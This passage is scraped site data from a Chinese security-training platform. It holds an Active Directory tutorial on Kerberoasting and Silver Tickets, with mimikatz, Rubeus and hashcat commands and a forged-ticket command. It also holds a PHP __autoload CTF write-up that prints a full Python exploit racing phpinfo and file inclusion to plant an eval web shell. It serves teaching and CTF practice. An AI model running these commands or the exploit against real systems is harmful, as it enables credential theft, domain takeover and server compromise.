username\u002Fhostname\r\n\r\nKerberoast攻击\r\n\r\nKerberoast攻击过程:\r\n\r\n1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求\r\n\r\n2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name\u002Fhost)的 servicePrincipalName (SPN)。例如:MSSqlSvc\u002FSQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。 在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。\r\n\r\n3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。 然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。\r\n\r\n4.攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。\r\n\r\n首先是请求服务票据\r\n\r\n1.Rubeus.exe请求\r\n\r\nRubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式\r\n\r\nRubeus.exe kerberoast\r\n\r\n\r\n2.powershell请求\r\n\r\n#请求服务票据\r\n \r\nAdd-Type -AssemblyName System.IdentityModel\r\n \r\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \"MSSQLSvc\u002FSrv-DB-0day.0day.org:1433\"\r\n \r\n#列出服务票据\r\n \r\nklist\r\n\r\n\r\n3.mimikatz请求\r\n\r\n请求服务票据\r\n\r\nkerberos::ask \u002Ftarget:MSSQLSvc\u002FSrv-DB-0day.0day.org:1433列出服务票据\r\n\r\nkerberos::list清除所有票据\r\n\r\nkerberos::purge4.Impacket中的GetUserSPNS.py请求\r\n\r\n该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。\r\n\r\npython3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org\u002Fjack\r\n\r\n\r\n导出票据\r\n\r\n首先是查看klist或mimikatz.exe \"kerberos::list\"\r\n\r\nMSF里面\r\n\r\nload kiwi\r\n \r\nkerberos_ticket_list或\r\n\r\nload kiwi\r\n \r\nkiwi_cmd kerberos::list1.mimikatz导出\r\n\r\nmimikatz.exe \"kerberos::list \u002Fexport\" \"exit\"执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件\r\n\r\n\r\n2.Empire下的Invoke-Kerberoast.ps1\r\n\r\nImport-Module .\\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat\r\n\r\n\r\n离线破解服务票据\r\n\r\n1.kerberoast中的tgsrepcrack.py\r\n\r\npython2 tgsrepcrack.py password.txt xx.kirbi\r\n\r\n\r\n2.hashcat\r\n\r\n将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下\r\n\r\nhashcat -m 13100 hash.txt pass.txtKerberoast攻击防范\r\n\r\n确保服务账号密码为强密码(长度、随机性、定期修改)\r\n\r\n如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。\r\n\r\n攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。\r\n\r\n许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。\r\n\r\n在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。\r\n\r\n白银票据\r\n\r\n在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用\r\n\r\n要创建白银票据,我们需要知道以下信息:\r\n\r\n\r\n要伪造的域用户(这里我们一般填写域管理员账户)\r\n\r\n\r\n域名\r\n\r\n\r\n域的SID值(就是域成员SID值去掉最后的)\r\n\r\n\r\n目标服务的FQDN\r\n\r\n\r\n可利用的服务\r\n\r\n\r\n服务账号的NTLM哈希\r\n\r\n\r\n这里使用白银票据伪造CIFS服务,该通常用于Windows主机之间的文件共享。\r\n\r\n1.mimikatz获得服务账号的ntlm hash\r\n\r\nprivilege::Debug\r\n \r\nsekurlsa::logonpasswords\r\n\r\n\r\n得到ntlm为7c64e7ebf46b9515c56b2dd522d21c1c\r\n\r\n2.使用白银票据攻击\r\n\r\nkerberos::golden \u002Fdomain:Drunkmars.com \u002Fsid:S-1-5-21-652679085-3170934373-4288938398 \u002Ftarget:WIN-M836NN6NU8B.Drunkmars.com \u002Fservice:cifs \u002Frc4:7c64e7ebf46b9515c56b2dd522d21c1c \u002Fuser:administrator \u002Fptt\r\n\r\n\r\n3.查看票据\r\n\r\n\r\n4.访问域控\r\n\r\n\r\n防御:\r\n\r\n伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用。\r\n\r\n黄金票据和白银票据的不同点\r\n\r\n访问权限不同:\r\n\r\n黄金票据Golden Ticket:伪造TGT认购权证,可以获取任何Kerberos服务权限\r\n\r\n白银票据Silver Ticket:伪造ST服务票据,只能访问指定的服务\r\n\r\n加密方式不同:\r\n\r\nGolden Ticket由krbtgt的Hash加密\r\n\r\nSilver Ticket由服务账号(通常为计算机账户)Hash加密\r\n\r\n认证流程不同:\r\n\r\nGolden Ticket的利用过程需要访问域控,而Silver Ticket不需要",pic:"\u002Fcloud-image\u002Fnews\u002F34f29752-a6f2-4cf5-a78c-973bc3f5e173.png",openTime:"2021-10-13T10:31:49+08:00",viewsNum:5123},{id:"20211009110918",type:f,title:"autoload魔术方法的妙用",abstract:"前言:\r\n\r\n__autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register,但是本文还是研究__autoload。\r\n\r\n什么是autoload魔术方法?\r\n\r\n首先还是从官方手册中下手,了解autoload函数\r\n\r\n\r\n由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。\r\n\r\n虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。\r\n\r\n举一个简单的例子,假设我们有index.php业务代码如下:\r\n\r\n\u003C?php\r\nfunction __autoload($classname){\r\n include(\"class_$classname.php\");\r\n}\r\n$a = new A();并且我们有class_A.php代码如下:\r\n\r\n\u003C?php\r\nclass A{\r\n function __construct(){\r\n echo \"I am class A\\n\";\r\n }\r\n}我们可以看到,即使我们在index.php中没有包含class_A.php中的类A,但是在index.php中却新建了一个对象,此时因为在index.php中没有类A,所以PHP会自动调用__autoload魔术方法。\r\n\r\n而我们__autoload魔术方法的作用就是将相关文件包含进来,因此最终程序还是成功的将I am class A输出。\r\n\r\n所以,__autoload只需要我们在魔术方法内写明一个逻辑:如果在后面的代码中,新建一个对象,找不到对应的类的时候,应该包含哪些文件。\r\n\r\n\r\nautoload相比手动加载有哪些优势?\r\n\r\n虽然说感觉__autoload很智能,但是通过上方的例子并不能很明显体现__autoload的优点,因此下方换一个例子,用来展示__autoload相比手动加载的其他优势。\r\n\r\n首先假设我们有autoload.php主业务逻辑代码如下:\r\n\r\n\u003C?php\r\n \r\nrequire_once(\"class_A.php\");\r\nrequire_once(\"class_B.php\");\r\nrequire_once(\"class_C.php\");\r\n \r\nif ($_GET[\"class\"] === 'A'){\r\n $a = new A();\r\n}\r\nelse if ($_GET[\"class\"] === 'B'){\r\n $b = new B();\r\n}\r\nelse if ($_GET[\"class\"] === 'C'){\r\n $c = new C();\r\n}光看这么一段代码就已经觉得手动加载很繁琐了,因为在这段代码中,仅仅只是包含了三个文件,虽然本质上的业务逻辑十分简单,但是代码看起来很繁琐,并且在这一段代码还存在一个很大的问题,就是资源的浪费。我们可以看到主要的业务逻辑就是一个if语句,并且无论我们往class中怎么传参,总是至少有两个类是无法新建的。也就是说,在代码最上方的三行包含文件代码中,至少有两行的文件加载是多余的。因此,这样就就造成了资源的浪费。\r\n\r\n那么如何解决这一个问题呢?\r\n\r\n答案就是使用__autoload魔术方法,在我们需要的将相关文件包含进来。\r\n\r\n因此我们将autoload.php代码修改如下:\r\n\r\n\u003C?php\r\n \r\nfunction __autoload($classname){\r\n require(\"class_$classname.php\");\r\n}\r\n \r\nif ($_GET[\"class\"] === 'A'){\r\n $a = new A();\r\n}\r\nelse if ($_GET[\"class\"] === 'B'){\r\n $b = new B();\r\n}\r\nelse if ($_GET[\"class\"] === 'C'){\r\n $c = new C();\r\n}这个时候不仅代码看上去清爽了很多,而且在理论上,运行的效率会更高,占用的系统资源会更少。\r\n\r\n除此之外,这么写其实还有一个优点,这里用到的文件包含函数是require,而上方使用的是require_once,这么写的好处就是:如果后面再次调用类A、B、C,那么PHP会自动从内存中加载这些类,不会再一次调用__autoload魔术方法。\r\n\r\n那么,__autoload在开发中这么神奇,在安全中有没有什么利用场景呢?\r\n\r\n有!那必然是有!下面将从一道CTF赛题中看看__autoload在安全中是怎么用的。\r\n\r\n从一道CTF题看autoload\r\n\r\n首先题目代码如下:\r\n\r\n\u003C?php\r\n \r\n\u002F*\r\n# -*- coding: utf-8 -*-\r\n# @Author: h1xa\r\n# @Date:   2020-10-13 11:25:09\r\n# @Last Modified by:   h1xa\r\n# @Last Modified time: 2020-10-19 07:12:57\r\n \r\n*\u002F\r\ninclude(\"flag.php\");\r\nerror_reporting(0);\r\nhighlight_file(__FILE__);\r\n \r\nclass CTFSHOW{\r\n    private $username;\r\n    private $password;\r\n    private $vip;\r\n    private $secret;\r\n \r\n    function __construct(){\r\n        $this-\u003Evip = 0;\r\n        $this-\u003Esecret = $flag;\r\n   }\r\n \r\n    function __destruct(){\r\n        echo $this-\u003Esecret;\r\n   }\r\n \r\n    public function isVIP(){\r\n        return $this-\u003Evip?TRUE:FALSE;\r\n       }\r\n   }\r\n \r\n    function __autoload($class){\r\n        if(isset($class)){\r\n            $class();\r\n   }\r\n}\r\n \r\n#过滤字符\r\n$key = $_SERVER['QUERY_STRING'];\r\nif(preg_match('\u002F\\_| |\\[|\\]|\\?\u002F', $key)){\r\n    die(\"error\");\r\n}\r\n$ctf = $_POST['ctf'];\r\nextract($_GET);\r\nif(class_exists($__CTFSHOW__)){\r\n    echo \"class is exists!\";\r\n}\r\n \r\nif($isVIP && strrpos($ctf, \":\")===FALSE && strrpos($ctf,\"log\")===FALSE){\r\n    include($ctf);\r\n}我们可以看到在类CTFSHOW里有一个__autoload魔术方法,虽然是在类里面,但是这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。\r\n\r\n然后我们再往下审计:\r\n\r\n$key = $_SERVER['QUERY_STRING'];\r\nif(preg_match('\u002F\\_| |\\[|\\]|\\?\u002F', $key)){\r\n    die(\"error\");\r\n}\r\n$ctf = $_POST['ctf'];\r\nextract($_GET);这一部分代码是过滤部分字符,POST传入ctf,并且将GET请求中的变量名和值进行赋值\r\n\r\nif(class_exists($__CTFSHOW__)){\r\n    echo \"class is exists!\";\r\n}这一部分有一个函数:class_exists\r\n\r\n这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法\r\n\r\n而且需要有一个__CTFSHOW__变量,但是下划线过滤了。不过没关系,在PHP中,当我们使用.作为变量名时,PHP会将.转化为下划线。\r\n\r\nif($isVIP && strrpos($ctf, \":\")===FALSE && strrpos($ctf,\"log\")===FALSE){\r\n    include($ctf);\r\n}而这一部分代码不允许ctf中存在:,并且过滤了log,也就是不允许我们日志注入,但是这里存在一个文件包含。\r\n\r\n因此我们可以考虑利用文件包含结合phpinfo进行RCE。\r\n\r\n\r\n这里贴一个项目链接,这个项目大概就是可以通过phpinfo结合本地文件包含,利用PHP的文件上传会存在临时文件的特性,进行getshell,具体原理就不再赘述了,参考说明文档即可。\r\n\r\nexp链接:https:\u002F\u002Fgithub.com\u002Fvulhub\u002Fvulhub\u002Fblob\u002Fmaster\u002Fphp\u002Finclusion\u002Fexp.py\r\n\r\n说明文档:https:\u002F\u002Fgithub.com\u002Fvulhub\u002Fvulhub\u002Fblob\u002Fmaster\u002Fphp\u002Finclusion\u002FREADME.zh-cn.md\r\n\r\n\r\n将改exp修改部分后,如下:\r\n\r\n#!\u002Fusr\u002Fbin\u002Fpython\r\nimport sys\r\nimport threading\r\nimport socket\r\n \r\nattempts_counter = 0\r\n \r\n \r\ndef setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='\u003C?php eval($_POST[\"mb\"]);?\u003E', shell_path='\u002Ftmp\u002Fg'):\r\n    \"\"\"\r\n   根据提供参数返回请求内容\r\n   :param host:HOST\r\n   :param port:端口\r\n   :param phpinfo_path: phpinfo文件地址\r\n   :param lfi_path: 包含lfi的文件地址\r\n   :param lfi_param: lfi载入文件时, 指定文件名的参数\r\n   :param shell_code: shell代码\r\n   :param shell_path: shell代码保存位置\r\n   :return:\r\n       phpinfo_request: phpinfo 请求内容\r\n       lfi_request: lfi 请求内容\r\n       tag: 标识内容\r\n   \"\"\"\r\n    tag = 'Security Test'   # 搜索验证标识\r\n    payload = \\\r\n'''{tag}\\r\r\n\u003C?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?\u003E\\r\r\n'''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)\r\n \r\n    request_data = \\\r\n'''-----------------------------7dbff1ded0714\\r\r\nContent-Disposition: form-data; name=\"dummyname\"; filename=\"test.txt\"\\r\r\nContent-Type: text\u002Fplain\\r\r\n\\r\r\n{payload}\r\n-----------------------------7dbff1ded0714--\\r\r\n''' .format(payload=payload)\r\n \r\n    phpinfo_request = \\\r\n'''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP\u002F1.1\\r\r\nCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\\r\r\nHTTP_ACCEPT: {padding}\\r\r\nHTTP_USER_AGENT: {padding}\\r\r\nHTTP_ACCEPT_LANGUAGE: {padding}\\r\r\nHTTP_PRAGMA: {padding}\\r\r\nContent-Type: multipart\u002Fform-data; boundary=---------------------------7dbff1ded0714\\r\r\nContent-Length: {request_data_length}\\r\r\nHost: {host}:{port}\\r\r\n\\r\r\n{request_data}\r\n'''.format(\r\n    padding='A' * 4000,\r\n    phpinfo_path=phpinfo_path,\r\n    request_data_length=len(request_data),\r\n    host=host,\r\n    port=port,\r\n    request_data=request_data\r\n   )\r\n \r\n    lfi_request = \\\r\n'''POST {lfi_path}?{lfi_param} HTTP\u002F1.1\\r\r\nUser-Agent: Mozilla\u002F4.0\\r\r\nProxy-Connection: Keep-Alive\\r\r\nHost: {host}\\r\r\nContent-Type: application\u002Fx-www-form-urlencoded\\r\r\n\\r\r\nctf={{}}\\r\r\n'''.format(\r\n    lfi_path=lfi_path,\r\n    lfi_param=lfi_param,\r\n    host=host\r\n   )\r\n    return phpinfo_request, tag, lfi_request\r\n \r\n \r\ndef phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):\r\n    \"\"\"\r\n   通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行\r\n   :param host:HOST\r\n   :param port:端口\r\n   :param phpinfo_request: phpinfo页面请求内容\r\n   :param offset: tmp_name在phpinfo中的偏移位\r\n   :param lfi_request: lfi页面请求内容\r\n   :param tag: 标识内容\r\n   :return:\r\n       tmp_file_name: 临时文件名\r\n   \"\"\"\r\n    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n \r\n    phpinfo_socket.connect((host, port))\r\n    lfi_socket.connect((host, port))\r\n \r\n    # 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中\r\n    # print(phpinfo_request)\r\n    # print(lfi_request)\r\n    phpinfo_socket.send(phpinfo_request.encode())\r\n \r\n    phpinfo_response_data = ''\r\n    while len(phpinfo_response_data) \u003C offset:\r\n        # 取不到数据则反复执行\r\n        phpinfo_response_data += phpinfo_socket.recv(offset).decode()\r\n \r\n    try:\r\n        tmp_name_index = phpinfo_response_data.index('[tmp_name] =>')\r\n        # 获取包含payload的临时文件名\r\n        tmp_file_name = phpinfo_response_data[\r\n                            tmp_name_index + 17:\r\n                            tmp_name_index + 31\r\n                       ]\r\n    except ValueError:\r\n        return None\r\n    # 2. 再向lfi发送包含payload的临时文件名, 用于包含\r\n    lfi_socket.send((lfi_request.format(tmp_file_name)).encode())\r\n    # print(lfi_request.format(tmp_file_name))\r\n    lfi_response_data = lfi_socket.recv(4096).decode()\r\n \r\n    # 3. 停止phpinfo socket连接\r\n    phpinfo_socket.close()\r\n    # 4. 停止lfi socket连接\r\n    lfi_socket.close()\r\n    if lfi_response_data.find(tag) != -1:\r\n        # 5. lfi response中存在标识内容则payload执行成功\r\n        return tmp_file_name\r\n \r\n \r\nclass ThreadWorker(threading.Thread):\r\n    def __init__(self, event, lock, max_attempts,\r\n                 host, port, phpinfo_request,\r\n                 offset, lfi_request, tag,\r\n                 shell_code, shell_path,\r\n                 lfi_path, lfi_param):\r\n        threading.Thread.__init__(self)\r\n        self.event = event\r\n        self.lock = lock\r\n        self.max_attempts = max_attempts\r\n        self.host = host\r\n        self.port = port\r\n        self.phpinfo_request = phpinfo_request\r\n        self.offset = offset\r\n        self.lfi_request = lfi_request\r\n        self.tag = tag\r\n        self.shell_code = shell_code\r\n        self.shell_path = shell_path\r\n        self.lfi_path = lfi_path\r\n        self.lfi_param = lfi_param\r\n \r\n    def run(self):\r\n        global attempts_counter\r\n        while not self.event.is_set():\r\n            # 如果没有set event则一直重复执行, 直到已尝试次数大于最大尝试数(attempts_counter \u003E max_attempts)\r\n            with self.lock:\r\n                # 获取锁, 执行完后释放\r\n                if attempts_counter \u003E= self.max_attempts:\r\n                    return\r\n                attempts_counter += 1\r\n            try:\r\n                tmp_file_name = phpinfo_lfi(\r\n                    self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)\r\n                if self.event.is_set():\r\n                    break\r\n                if tmp_file_name:\r\n                    # 找到tmp_file_name后通过set event停止运行\r\n                    print('\\n{shell_code} 已经被写入到{shell_path}中'.format(\r\n                        shell_code=self.shell_code,\r\n                        shell_path=self.shell_path\r\n                   ))\r\n                    'http:\u002F\u002F127.0.0.1\u002Ftest\u002Flfi_phpinfo\u002Flfi.php?load=\u002Ftmp\u002Fgc&f=uname%20-a'\r\n                    print('默认调用方法: http:\u002F\u002F{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(\r\n                        host=self.host,\r\n                        port=self.port,\r\n                        lfi_path=self.lfi_path,\r\n                        lfi_param=self.lfi_param,\r\n                        shell_path=self.shell_path\r\n                   ))\r\n \r\n                    self.event.set()\r\n            except socket.error:\r\n                return\r\n \r\n \r\ndef get_offset(host, port, phpinfo_request):\r\n    \"\"\"\r\n   获取tmp_name在phpinfo中的偏移量\r\n   :param host: HOST\r\n   :param port: 端口\r\n   :param phpinfo_request: phpinfo 请求内容\r\n   :return:\r\n       tmp_name在phpinfo中的偏移量\r\n   \"\"\"\r\n \r\n    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    phpinfo_socket.connect((host, port))\r\n    phpinfo_socket.send(phpinfo_request.encode())\r\n    phpinfo_response_data = ''\r\n    while True:\r\n        i = phpinfo_socket.recv(4096).decode()\r\n        phpinfo_response_data += i\r\n        if i == '':\r\n            break\r\n \r\n        # 检测是否是最后一个数据块\r\n        if i.endswith('0\\r\\n\\r\\n'):\r\n            break\r\n    phpinfo_socket.close()\r\n    tmp_name_index = phpinfo_response_data.find('[tmp_name] =>')\r\n    print(phpinfo_response_data)\r\n    if tmp_name_index == -1:\r\n        raise ValueError('没有在phpinfo中找到tmp_name')\r\n    print('找到了 {} 在phpinfo内容索引为{}的位置'.format(\r\n        phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))\r\n \r\n    return tmp_name_index + 256\r\n \r\n \r\ndef main():\r\n    pool_size = 100\r\n    host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'\r\n    port = 8080\r\n    phpinfo_path = '\u002F'\r\n    lfi_path = '\u002F'\r\n    lfi_param = 'isVIP=1'\r\n    shell_code = '\u003C?php eval($_POST[\"mb\"]);?\u003E'\r\n    shell_path = '\u002Ftmp\u002Fg'\r\n    # 最大尝试次数\r\n    max_attempts = 1000\r\n \r\n    print('LFI With PHPInfo()')\r\n    # 一 生成phpinfo请求内容, 标志内容, lfi请求内容\r\n    phpinfo_request, tag, lfi_request = setup(\r\n        host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,\r\n        lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)\r\n \r\n    # 二 获取[tmp_name]在phpinfo中的偏移位\r\n    offset = get_offset(host, port, phpinfo_request)\r\n \r\n    sys.stdout.flush()\r\n    thread_event = threading.Event()\r\n    thread_lock = threading.Lock()\r\n    print('创建线程池 {}...'.format(pool_size))\r\n    sys.stdout.flush()\r\n    thread_pool = []\r\n    for i in range(0, pool_size):\r\n        # 三 多线程执行phpinfo_lfi\r\n        thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,\r\n                                        host, port, phpinfo_request, offset,\r\n                                        lfi_request, tag,\r\n                                        shell_code, shell_path,\r\n                                        lfi_path, lfi_param\r\n                                       ))\r\n    for t in thread_pool:\r\n        t.start()\r\n    try:\r\n        while not thread_event.wait(1):\r\n            if thread_event.is_set():\r\n                break\r\n            with thread_lock:\r\n                sys.stdout.write('\\r{} \u002F {}'.format(attempts_counter, max_attempts))\r\n                sys.stdout.flush()\r\n                if attempts_counter \u003E= max_attempts:\r\n                    # 尝试次数大于最大尝试次数则退出\r\n                    break\r\n        if thread_event.is_set():\r\n            print('''success !''')\r\n        else:\r\n            print('LJBD!')\r\n    except KeyboardInterrupt:\r\n        print('\\n正在停止所有线程...')\r\n        thread_event.set()\r\n    for t in thread_pool:\r\n        t.join()\r\n \r\n \r\nif __name__ == \"__main__\":\r\n    main()当然啦,这题除了可以利用__autoload魔术方法结合本地文件包含getshell,也可以用php上传文件条件竞争来做。\r\n\r\n总结:\r\n\r\n__autoload之所以好用,首先是因为它是一个全局的魔术方法,并且开发者在使用__autoload的时候,往往是为了包含相关的文件,而在指定包含的文件名时,就可能会出现包含文件可控的情况,虽然__autoload已经在新版本的PHP中废弃,但是在对我们研究老版本的PHP项目,还是有一定指导意义的。\r\n\r\nhttps:\u002F\u002Fwww.yijinglab.com\u002Fpages\u002FCTFLaboratory.jsp",pic:"\u002Fcloud-image\u002Fnews\u002F4f72e4cd-0f8f-45e3-8818-f085bdac715b.png",openTime:"2021-10-09T11:09:32+08:00",viewsNum:1690},{id:"20211008160312",type:f,title:"cover,你知道什么是延迟绑定吗",abstract:"正文:\r\n\r\n每周五固定节目又来了!今天给大家带来的是第三题\u003Ccover\u003E,本题为PWN题型。\r\n\r\n上一个周五是快乐假期的开始,谁能料到这一个周五竟是打工的开始。\r\n\r\n\r\n放假归来第一天,最提神的事当然是来做道题测测脑子还在不在线。蚁景就是如此贴心地送上了新题型,前面的WEB题连续上线,这下可以让大脑换个思考方向了。\r\n\r\nPWN在安全领域中指的是通过二进制\u002F系统调用等方式获得目标主机的shell。CTF中主要考察二进制漏洞的发掘和利用,需要对计算机操作系统底层有一定的了解。在CTF竞赛中,PWN题目主要出现在Linux平台上,选手需要一定的C\u002FC++编程语言、汇编\u002F反汇编、操作系统、堆栈原理…等等基础。\r\n\r\n 本次解题主要利用栈溢出修改局部变量的值,需要先了解动态链接程序延迟绑定的机制。\r\n\r\n在Linux中如果程序想要调用其它动态链接库的函数,必须要在程序加载的时候动态链接。在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块,所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候进行绑定。解题视频中有一步一步讲解exp的编写及相关知识点,过程中的软件使用也有简单介绍,快来一起开启解题之路吧!\r\n\r\n 最后,如果有技术段位高的觉得这种题比较基础追求继续深入的,还可以来实验室学习高阶的栈溢出内容:《高级栈溢出技术—ROP实战》,知识点那么多,学着学着就会废的。\r\n\r\n 我们下个周五见,国庆盼完等元旦!\r\n\r\n\r\nhttps:\u002F\u002Fwww.yijinglab.com\u002Fexpc.do?w=exp_ass&ec=ECID414f-9201-4027-b8f0-c5394fc27894",pic:"\u002Fcloud-image\u002Fnews\u002Fef07dd38-2292-4575-a278-fd7e4e75b643.png",openTime:"2021-10-08T16:03:29+08:00",viewsNum:2025}]},goodNewsList:[{id:"fee80985-987a-4e62-b359-0321d3b9a584",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F379a635c-7d9b-481a-9b28-29bc47ad0eea.png?1787193023720",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F379a635c-7d9b-481a-9b28-29bc47ad0eea-small.png?1787193023720",subContent:g},{id:"981c0d22-2a31-4eba-a0dc-e5147316ec3f",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F42889396-f27d-47b4-a48c-e38d144825c7.png?1787193000045",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F42889396-f27d-47b4-a48c-e38d144825c7-small.png?1787193000045",subContent:g},{id:"2a632c86-75a5-43d0-820b-255c4a5c7ce4",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa8d2efd7-ab6d-4eec-8652-5f74ebf1ace5.png?1787192901558",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa8d2efd7-ab6d-4eec-8652-5f74ebf1ace5-small.png?1787192901558",subContent:"src漏洞报告案例"},{id:"2ff34d68-244e-4453-b808-a1adbb14082f",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4ad78325-30b4-4b91-b002-6efcde95c3fc.png?1787192836274",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4ad78325-30b4-4b91-b002-6efcde95c3fc-small.png?1787192836274",subContent:g},{id:"77f467c4-291a-4692-98aa-8d20e9d9c01f",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F60063d22-10e8-4488-8642-0fe2eefda742.png?1787192817014",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F60063d22-10e8-4488-8642-0fe2eefda742-small.png?1787192817014",subContent:g},{id:"7938806c-9f9e-4aaa-9e38-f1dfeb860599",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F58e059a6-474e-4bf5-8f24-1297a9a0f1e2.png?1787192552298",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F58e059a6-474e-4bf5-8f24-1297a9a0f1e2-small.png?1787192552298",subContent:g},{id:"0aade21b-baea-42e2-810b-a159ec2a0d67",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fe9038fa1-fac3-4159-8cad-0e7524c9d3b2.png?1787192538113",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fe9038fa1-fac3-4159-8cad-0e7524c9d3b2-small.png?1787192538113",subContent:g},{id:"e5bc50f9-9b71-430f-a520-7291cdc7e62c",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F77202573-3263-46d9-a0ab-85afabfa7040.png?1787192515737",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F77202573-3263-46d9-a0ab-85afabfa7040-small.png?1787192515737",subContent:"漏洞产出案例-哔哩哔哩"},{id:"00718522-bf47-422e-8058-23b0fca91f11",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30615a27-1b23-4955-9e54-2a4e6cf1d686.png?1787192492486",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30615a27-1b23-4955-9e54-2a4e6cf1d686-small.png?1787192492486",subContent:g},{id:"2b04c2ab-c18a-4435-96f4-67e43d21ae8d",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F7789121e-a712-4661-92ea-f6257f3f5948.png?17